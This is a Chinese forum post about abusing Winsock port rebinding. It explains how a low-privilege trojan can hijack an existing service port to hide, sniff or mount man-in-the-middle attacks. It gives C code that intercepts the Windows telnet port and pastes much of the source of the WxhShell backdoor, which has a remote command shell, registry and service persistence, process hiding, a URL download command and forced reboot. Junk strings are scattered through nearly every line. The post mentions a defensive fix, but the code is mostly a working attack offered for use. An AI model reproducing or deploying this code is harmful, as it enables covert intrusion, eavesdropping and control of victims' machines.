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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a+E&{p V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hlaN'j <C  
by X!,  
  saddr.sin_family = AF_INET; B6Vlc{c5SO  
e~9O#rQI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BVNW1<_:  
~lys  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X,7y|tb  
6!ve6ZB[p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e "A"  
qk1jmr  
  这意味着什么?意味着可以进行如下的攻击: .h7s.p?  
$/++afi m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DAB9-[y+  
[|DKBJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8AuBs;i  
] 3"t]U'f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ttzNv>L,  
6<._^hyq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "6$V1B0KW  
MC}t8L=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @1JwjtNk  
hj [77EEz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 - {QU>`2  
l@4_D;b3o"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 //q(v,D%Q  
;Y$>WKsV  
  #include &12K pEyf  
  #include -3EQRqVg  
  #include b-&iJ &>'  
  #include    ;u UFgDi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [1VA`:?W  
  int main() QPJ \Iu@D$  
  { elOeXYO0  
  WORD wVersionRequested; {r,U ik-nL  
  DWORD ret; wA=r ]BT  
  WSADATA wsaData; G<;~nAo?f0  
  BOOL val; $ J`O-"M  
  SOCKADDR_IN saddr; h:YD $XE  
  SOCKADDR_IN scaddr; 5ilGWkb`'X  
  int err; N+|NI?R?}  
  SOCKET s; GM%+yS}(P  
  SOCKET sc; n|w+08c"  
  int caddsize; 1F^Q*t{  
  HANDLE mt; 9\?OV @  
  DWORD tid;   B`~EA] d  
  wVersionRequested = MAKEWORD( 2, 2 ); ^Xk!wJ  
  err = WSAStartup( wVersionRequested, &wsaData ); g* q#VmE  
  if ( err != 0 ) { P[nc8z[  
  printf("error!WSAStartup failed!\n"); ~[g(@Xt  
  return -1; jFj11w1FrA  
  } OSgJj MQ  
  saddr.sin_family = AF_INET; Jz}nV1G(jz  
   #DTKz]i?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;b$P*dSG}  
1i76u!{U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _ E;T"SC  
  saddr.sin_port = htons(23); MtLWpi u@[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XO <wK  
  { Z*%;;&?  
  printf("error!socket failed!\n"); m1"m KM  
  return -1; yB b%#GW  
  } uJ !&T  
  val = TRUE; =}^NyLE?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,XD" p1(|G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jl Do_}  
  { > ;,S||  
  printf("error!setsockopt failed!\n"); 9u B?-.  
  return -1; :!`"GaTy  
  } e w^(3&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Mt[yY|Ec|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QU"WpkO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -+#%]P8l  
k ut=( ;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *o6}>;  
  { AjC:E+g  
  ret=GetLastError(); :t}\%%EbmE  
  printf("error!bind failed!\n"); R'Sd'pSDN  
  return -1; h)KHc/S  
  } CdolZW-!"  
  listen(s,2); SepjF  
  while(1) K:PH: e  
  { { i5?R,a)  
  caddsize = sizeof(scaddr); D BT4 W/  
  //接受连接请求 "g{q=[U}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LK^|JEu  
  if(sc!=INVALID_SOCKET) :RaQ =C  
  { C"{^wy{sL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (o^tmH*  
  if(mt==NULL) "HMEoZ  
  { {keZ_2  
  printf("Thread Creat Failed!\n"); "[bkdL<  
  break; L$ZjMJ  
  } d>NGCe  
  } 88g3<&  
  CloseHandle(mt); i]JTKL{\q  
  } (!~cO x   
  closesocket(s); S* h52li  
  WSACleanup(); ?bTfQH vX  
  return 0; jh5QIZf=  
  }   NVyBEAoh  
  DWORD WINAPI ClientThread(LPVOID lpParam) o<`vh*U@,4  
  { C"hN2Z!CD|  
  SOCKET ss = (SOCKET)lpParam; @KN+)qP  
  SOCKET sc; mzgt>Qtkz=  
  unsigned char buf[4096]; P*|N)S)X%  
  SOCKADDR_IN saddr; H|9t5   
  long num; aO6\ e>  
  DWORD val; LU1I `E  
  DWORD ret; h<9s& p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SeX]|?D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !FEc:qH  
  saddr.sin_family = AF_INET; wq)*bIv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -;""l{  
  saddr.sin_port = htons(23); =o@;K~-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 48^-]};  
  { >p_W(u@ z$  
  printf("error!socket failed!\n"); Wn%P.`o#  
  return -1; i Ha?b2=)  
  } =u.@W98, K  
  val = 100; E$ d#4x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5E!C?dv(z  
  { OgQd yU  
  ret = GetLastError(); ]?9*Vr:P^  
  return -1; e~r/!B5X  
  } XJ18(Q|w'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K$"#SZEi  
  { UhxM85M;x  
  ret = GetLastError(); MK&,2>m,A  
  return -1; u[>"_!T  
  } (jc@8@Wo.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <2$vo  
  { y Zaf q"o  
  printf("error!socket connect failed!\n"); j\2Qe %d  
  closesocket(sc); SSK}'LQ  
  closesocket(ss); ?=u?u k<-  
  return -1; PmR].Ohzi  
  } inP2y?j  
  while(1) c[dSO(=  
  { ,7{|90'V<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~q$]iwwqT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [FFr}\}bY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x/|W;8g4  
  num = recv(ss,buf,4096,0); M4^G3c<  
  if(num>0) q<3nAE$?=  
  send(sc,buf,num,0); CM6% g f3  
  else if(num==0) !fh (k  
  break;  Q !X?P  
  num = recv(sc,buf,4096,0); OO:S2-]Y>e  
  if(num>0) ^T=9j.e'ja  
  send(ss,buf,num,0); B8&q$QV  
  else if(num==0) q_MN  
  break; l;?:}\sI=  
  } pUIN`ya[[  
  closesocket(ss); Q(|@&83].  
  closesocket(sc); X+X:nL.t  
  return 0 ; yD\q4G  
  } 1w,_D.1'  
!xs}CxEyA  
/MZ<vnN7f  
========================================================== 2Q^ q$@L  
oD)x\ )t8  
下边附上一个代码,,WXhSHELL uEPp%&D.+  
!)s(Lv%]  
========================================================== XlppA3JON|  
m\:^9A4HCg  
#include "stdafx.h" Z@~gN5@,M  
r,5e/X  
#include <stdio.h> Mz@{_*2   
#include <string.h> iZGbNN  
#include <windows.h> u 3WU0Z`  
#include <winsock2.h> {X!vb  
#include <winsvc.h> )CGQ}  
#include <urlmon.h> P,v7twc0M  
r!r08y f  
#pragma comment (lib, "Ws2_32.lib") 2/-m-5A  
#pragma comment (lib, "urlmon.lib") ($di]lbsT  
D8A+`W?  
#define MAX_USER   100 // 最大客户端连接数 |J $A%27  
#define BUF_SOCK   200 // sock buffer xUJ(tG3  
#define KEY_BUFF   255 // 输入 buffer (zhZ}C,VF  
;jP sS^X  
#define REBOOT     0   // 重启  2&6D`{"P  
#define SHUTDOWN   1   // 关机 TTf j 5  
}m:paB"3  
#define DEF_PORT   5000 // 监听端口 pb!2G/,.[  
:~-:  
#define REG_LEN     16   // 注册表键长度 ~OD6K`s3  
#define SVC_LEN     80   // NT服务名长度 ]LE,4[VxRz  
1k[_DQ=^l1  
// 从dll定义API t]xz7VQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &3vm @  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >,6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1[P}D~ nQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d59rq<yI  
K1 f1 T  
// wxhshell配置信息 R iZ)FW  
struct WSCFG { x{H+fq,M  
  int ws_port;         // 监听端口 n:AZ(f   
  char ws_passstr[REG_LEN]; // 口令 ib,`0=0= O  
  int ws_autoins;       // 安装标记, 1=yes 0=no e$L C  
  char ws_regname[REG_LEN]; // 注册表键名 9Po>laT 5  
  char ws_svcname[REG_LEN]; // 服务名 8mX!mYO3c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3.Fko<D4jD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KOixFn1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7%h;To-<6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2> a&m>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,xwiJfG; ]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #  X (2  
1P)K@j  
}; 175e:\Tw  
%1&X+s3  
// default Wxhshell configuration `zoHgn7B9q  
struct WSCFG wscfg={DEF_PORT, c |0p'EQ  
    "xuhuanlingzhe", (Mv~0ShakO  
    1, P| NGAd  
    "Wxhshell", 5BrN uR$  
    "Wxhshell", V_i&@<J  
            "WxhShell Service", `E~"T0RX  
    "Wrsky Windows CmdShell Service", Y3@+aA  
    "Please Input Your Password: ", ~/^fdGr  
  1, PYQ0&;z  
  "http://www.wrsky.com/wxhshell.exe", lDS y$  
  "Wxhshell.exe" LWrYK i  
    }; ("`"?G  
+|C@B`h  
// 消息定义模块 :6n4i$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3MQHoxX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WUS%4LL(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _'p/8K5)=  
char *msg_ws_ext="\n\rExit."; =CzGI|pb  
char *msg_ws_end="\n\rQuit."; T m"B  
char *msg_ws_boot="\n\rReboot..."; |AvPg  
char *msg_ws_poff="\n\rShutdown..."; D;sG9Hky  
char *msg_ws_down="\n\rSave to "; 0hY3vBQ!  
yp~z-aRa  
char *msg_ws_err="\n\rErr!"; (-<hx~  
char *msg_ws_ok="\n\rOK!"; '`8 ^P  
Q g/Rw4[  
char ExeFile[MAX_PATH]; gj|5"'g%  
int nUser = 0; B4 bB`r  
HANDLE handles[MAX_USER]; (XK,g;RoEn  
int OsIsNt; w,hm_aDq  
gY+d[3N  
SERVICE_STATUS       serviceStatus; ?;#Q3Y+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `yR/M"u6T  
X#1WzWk '  
// 函数声明 8kKL=  
int Install(void); k;qS1[a  
int Uninstall(void); rDl/R^w"  
int DownloadFile(char *sURL, SOCKET wsh); ll__A|JQ  
int Boot(int flag); {?Slo5X|  
void HideProc(void); -axKnfj  
int GetOsVer(void); CUDA<Fm  
int Wxhshell(SOCKET wsl); 4{>r_^8  
void TalkWithClient(void *cs); A}"|_ &E  
int CmdShell(SOCKET sock); we}xGb.u  
int StartFromService(void); i59 }6u_f  
int StartWxhshell(LPSTR lpCmdLine); Pk&=\i<  
8B ,S_0!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N_G&nw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IAA_Ft  
F]RPM(!5O)  
// 数据结构和表定义 tk0m[HN@eV  
SERVICE_TABLE_ENTRY DispatchTable[] = >QDyG8*  
{ Ztk%uc8_lM  
{wscfg.ws_svcname, NTServiceMain}, 23|JgKuA  
{NULL, NULL} L1_O!EQ  
}; aj|3(2;Kp  
ll}_EUF|  
// 自我安装 :E{)yT  
int Install(void) <\nM5-wR  
{ rvx2{1}I  
  char svExeFile[MAX_PATH]; 'oz$uvX  
  HKEY key; '!$ QI@@  
  strcpy(svExeFile,ExeFile); uj;iE 9  
p$F` 9_bZ  
// 如果是win9x系统,修改注册表设为自启动 :@p]~{m:G  
if(!OsIsNt) { A}! A*z<9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L@RnLaoQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >'n[B    
  RegCloseKey(key); sct 3|H#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Tvnd,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Ja5O  
  RegCloseKey(key); qo:Zc`t(R  
  return 0; {^ BZ#)m|  
    } zEjl@Kf  
  } */~|IbZ`o  
} N9ipwr'P  
else { u/k' ry=  
lB2 F09`  
// 如果是NT以上系统,安装为系统服务 I3Co   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iTevl>p!  
if (schSCManager!=0) ipG 0ie+  
{ %cs" PS  
  SC_HANDLE schService = CreateService J3+qnT8X  
  ( =f@71D1  
  schSCManager, 2cu2S"r  
  wscfg.ws_svcname, =H: N!!:  
  wscfg.ws_svcdisp, Obu 6k[BE.  
  SERVICE_ALL_ACCESS, Zk7!CJVM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;=0-B&+v  
  SERVICE_AUTO_START, 6x5Q*^w  
  SERVICE_ERROR_NORMAL, BZOl&G(  
  svExeFile, dJzaP  
  NULL, E*R-Dno_F  
  NULL, /0`Eux\  
  NULL, nYC.zc*ox  
  NULL, bfUKh%!M  
  NULL j*?E~M.'1K  
  ); ?gu!P:lZS  
  if (schService!=0) GQ85ykky  
  { Tb^1#O  
  CloseServiceHandle(schService); ?AO=)XV2  
  CloseServiceHandle(schSCManager); >q')%j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fLRx{Nu  
  strcat(svExeFile,wscfg.ws_svcname); N) jNvzm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'xEomo#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (7_ezWSl>  
  RegCloseKey(key); Q?.9BM1V  
  return 0; i Ya)*,  
    }  vWW Q/^  
  } A[4HD!9=  
  CloseServiceHandle(schSCManager); F" G+/c/L  
} BGNZE{K4"  
} xn=mS!"1Zo  
>;G7ty[RX7  
return 1; z$Z%us>io  
} LvGo$f/9  
"tbKbFn9  
// 自我卸载 K7$Q .  
int Uninstall(void) p]e.E`'S  
{ * W"Pv,:  
  HKEY key; aA%x9\Y  
?y%Mm09  
if(!OsIsNt) { 8u*Q^-fpo0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xt@v"P2Ok  
  RegDeleteValue(key,wscfg.ws_regname); (RUc>Qi  
  RegCloseKey(key); .|:(VG$MfI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ hP]<$v  
  RegDeleteValue(key,wscfg.ws_regname); <,*w$  
  RegCloseKey(key); ko{&~   
  return 0; yqJ>Z%)hf  
  } _4{3^QZq5  
} i*xVD`x~  
} C9Cl$yZ  
else { ?r$& O*;  
7wrRIeES  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t|&hXh{  
if (schSCManager!=0) AHa]=ka>  
{ C-:|A* z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); < A`srmS?  
  if (schService!=0) svC m }`  
  { EAs^i+/  
  if(DeleteService(schService)!=0) { RR`\q>|  
  CloseServiceHandle(schService); zYis~ +  
  CloseServiceHandle(schSCManager); fTy{`}>  
  return 0; pm}_\_  
  } 1[Q~&QC  
  CloseServiceHandle(schService); W$}2 $}r0U  
  } _Fkb$NJ"]Q  
  CloseServiceHandle(schSCManager); us#ji i.<  
} |o_ N$70  
} - Lsl  
3D,tnn+J  
return 1; HT_nxe`E  
} %~<F7qB  
mt *Dx  
// 从指定url下载文件 5M%)*.Y 3[  
int DownloadFile(char *sURL, SOCKET wsh) 43`Atw`\  
{ ;P8.U(  
  HRESULT hr; N]I::  
char seps[]= "/"; Vvn~G.&)  
char *token; <P5 7s+JK  
char *file; I0bkc3  
char myURL[MAX_PATH]; "v'%M({  
char myFILE[MAX_PATH]; SphP@J<ONW  
w\JTMS$  
strcpy(myURL,sURL); &61h*s  
  token=strtok(myURL,seps); -9 |)O:  
  while(token!=NULL) 4?`*# DPl  
  { UJ)( Sw  
    file=token; OQ3IkE`G  
  token=strtok(NULL,seps); b\SB  
  }  o^d  
m7cG ]a~a  
GetCurrentDirectory(MAX_PATH,myFILE); fo;^Jg.  
strcat(myFILE, "\\"); m.yt?`  
strcat(myFILE, file); ,_'Z Jlx  
  send(wsh,myFILE,strlen(myFILE),0); @ &GA0;q0t  
send(wsh,"...",3,0); ~. 5[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n}J!?zZc  
  if(hr==S_OK) ur+\!y7^R  
return 0; #%/0a  
else 'V4B{n7 h  
return 1; qwuA[QkPi  
No'Th7=|S  
} xy^z_`  
wA";N=i=  
// 系统电源模块 x qj@T^y  
int Boot(int flag) E**Hu9  
{ _o6Zj1p  
  HANDLE hToken; ib(4Y%U6~  
  TOKEN_PRIVILEGES tkp; 7] >z e  
P.Qz>c^-C  
  if(OsIsNt) { )9 {!=k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D' h%.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ](k}B*Ab h  
    tkp.PrivilegeCount = 1; kI~; 'M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?2S<D5M Sb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Cyp%E5b7  
if(flag==REBOOT) { 'Y5l3xQk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n?NUnFA  
  return 0; k|rbh.Q  
} Yx"~_xA/u  
else { J'yiVneMw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4='/]z  
  return 0; <xD6}h/  
} j2%M-y4E  
  }  :D  
  else { ^}Gu'!z9D  
if(flag==REBOOT) { $mst\]&;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wl{}>F`W[  
  return 0; sWMY Lo  
} o[k,{`M0  
else { HA;G{[X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j>O!|V  
  return 0; o=Kd9I#  
} KD8,a+GL  
} 4#D>]AX  
Z7=k$e  
return 1; |EP=<-|  
} QqB9I-_  
Hg+bmwM  
// win9x进程隐藏模块 8^qLGUxz  
void HideProc(void) R5r CCp  
{ l7S&s&W @  
+{&++^(}a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I*= =I4qx  
  if ( hKernel != NULL ) z?g\w6  
  { y.WEO>   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9y;8JO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6z1>(Za7>  
    FreeLibrary(hKernel); <w0$0ku  
  } =\x(Rs3  
IUwMIHq&sW  
return; aeTVcq  
} iR{*X E   
MY z\ R \  
// 获取操作系统版本 /~_,p,:aP  
int GetOsVer(void) j<-YK4.t  
{ ?`=r@  
  OSVERSIONINFO winfo; F'JceU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a*{ -r]  
  GetVersionEx(&winfo); XjJ[7"hs*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z 5IdYF?  
  return 1; 3/RNStd<L!  
  else ),U>AiF]  
  return 0; $w ,^q+  
} ~d&W;mef-  
<izn B8@  
// 客户端句柄模块 %gV~e@|  
int Wxhshell(SOCKET wsl) Kd').w  
{ 52z{   
  SOCKET wsh; 7\Wq:<JL  
  struct sockaddr_in client; eGlPi|  
  DWORD myID; ,&rHBNS  
rL<a^/b/=  
  while(nUser<MAX_USER) bjB4  
{ MI|anM  
  int nSize=sizeof(client); S2"H E`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vUgMfy&  
  if(wsh==INVALID_SOCKET) return 1; J4q_}^/2w  
fV5MI[ t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C?7I(b:  
if(handles[nUser]==0) ^Z:qlYZ  
  closesocket(wsh); *waaM]u  
else lb<D,&+  
  nUser++; 61&A`  
  } 4Y4QR[>IU3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n_MY69W  
9*j$U$:'  
  return 0; [BKX$A:Y  
} i>=!6Hu2  
NT<vs"<B  
// 关闭 socket DjveMs$d  
void CloseIt(SOCKET wsh) n8'#'^|  
{ )XoIb[s"  
closesocket(wsh); xPorlX)zW  
nUser--; si`h(VD9w  
ExitThread(0); )CUB7D)=  
} .u$o^; z!  
F4 :#okt  
// 客户端请求句柄 FR? \H"'x  
void TalkWithClient(void *cs) _jD\kg#LY  
{ Zp <^|=D  
xjg(}w  
  SOCKET wsh=(SOCKET)cs; _/@u[dWeL  
  char pwd[SVC_LEN]; KBy*QA  
  char cmd[KEY_BUFF]; SH/^qDT'  
char chr[1]; YuKg|<WO  
int i,j; 2(K@V6j$M  
8)51p+a  
  while (nUser < MAX_USER) { l"1at eM3  
QK@[ b3-h1  
if(wscfg.ws_passstr) { &ub0t9R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @w5x;uB|%G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]U)Yg  
  //ZeroMemory(pwd,KEY_BUFF); 9a3mN(<  
      i=0; bz\-%$^k  
  while(i<SVC_LEN) { )lDmYt7me  
s>1Wjz2M  
  // 设置超时 "6 \_/l  
  fd_set FdRead; H&E3RU> `  
  struct timeval TimeOut; /O&{fo  
  FD_ZERO(&FdRead); xmBGZ4f%  
  FD_SET(wsh,&FdRead); B4 +A  
  TimeOut.tv_sec=8; V"DilV$v  
  TimeOut.tv_usec=0; qpXsQim$~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R.$1aqA}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P&}J (;Lbl  
#f-pkeaeq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r`5svY  
  pwd=chr[0]; I*hzlE  
  if(chr[0]==0xd || chr[0]==0xa) { r%UsUj  
  pwd=0; l/g6Tv `w  
  break; .}ePm(  
  } d}--}&r  
  i++; a5nA'=|}i  
    } FoB^iA6 e  
g vu1  
  // 如果是非法用户,关闭 socket l[u=_uaYl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); caXSt2|'  
} zyPc<\HoK  
$fFh4O4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gjDxgNpa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8qWN~Gk1p{  
AOscewQ  
while(1) { 1%`Nu ]D  
 G%5ZG$as  
  ZeroMemory(cmd,KEY_BUFF); lXOT>$qR<  
qEajT"?  
      // 自动支持客户端 telnet标准   ~x6<A\  
  j=0; "#G`F  
  while(j<KEY_BUFF) { -cP7`.a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); crl"Ec  
  cmd[j]=chr[0]; 3+oGR5gIN  
  if(chr[0]==0xa || chr[0]==0xd) { \k>1q/T0V  
  cmd[j]=0; ;\(X;kQi  
  break; Td,s"p>Vq  
  } bd)'1;p  
  j++; i$JN s)I%  
    } X(JE]6_  
RAB'%CY4  
  // 下载文件 p4^&G/'  
  if(strstr(cmd,"http://")) { `Y_G*b.Rm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8Ai\T_l  
  if(DownloadFile(cmd,wsh)) 7-A/2/G<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nR`)kORc  
  else Df5!z\dx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B&>z&!}  
  } (Qf. S{;  
  else { HvLx  
 rBUWzpE"  
    switch(cmd[0]) { z=yE- I{  
  i)th] 1K%  
  // 帮助 am+w<NJ(us  
  case '?': { P^[y~I#{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _bn "c@s  
    break; 9>9,   
  } yV?qX\~*  
  // 安装 K7c[bhi_w  
  case 'i': { j06qr\Es  
    if(Install()) 7(l>Ck3B#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); za!8:(  
    else 2KtK.2;7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TXo`P_SE  
    break; kJK*wq]U6  
    } Wn-'iD+9<  
  // 卸载 kwUy^"O  
  case 'r': { w0^}c8%WR  
    if(Uninstall()) L L? .E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )=pa*  
    else zvK'j"Wq=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D`R~d;U~  
    break; d<Dm(   
    } / }Pj^^6A<  
  // 显示 wxhshell 所在路径 z)Lw\H^/  
  case 'p': { l KG' KR.  
    char svExeFile[MAX_PATH]; ~'v9/I-"  
    strcpy(svExeFile,"\n\r"); 7j8lhrM}^  
      strcat(svExeFile,ExeFile); 53WCF[  
        send(wsh,svExeFile,strlen(svExeFile),0); __Zex5Y#-  
    break; mx5#K\  
    } kgh0  
  // 重启 s;cGf+  
  case 'b': { K5^`,}Q^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zm*qV!  
    if(Boot(REBOOT)) ,ygUy]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 89Ir}bCr  
    else { :!ablO~  
    closesocket(wsh); WG*),P?  
    ExitThread(0); L%jIU<?Z7  
    } hBi/lHu'  
    break;  JKV&c= I  
    } i>O8q%BnJ  
  // 关机 2N{^V?:  
  case 'd': { 4W#DLip9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +{0v@6<(02  
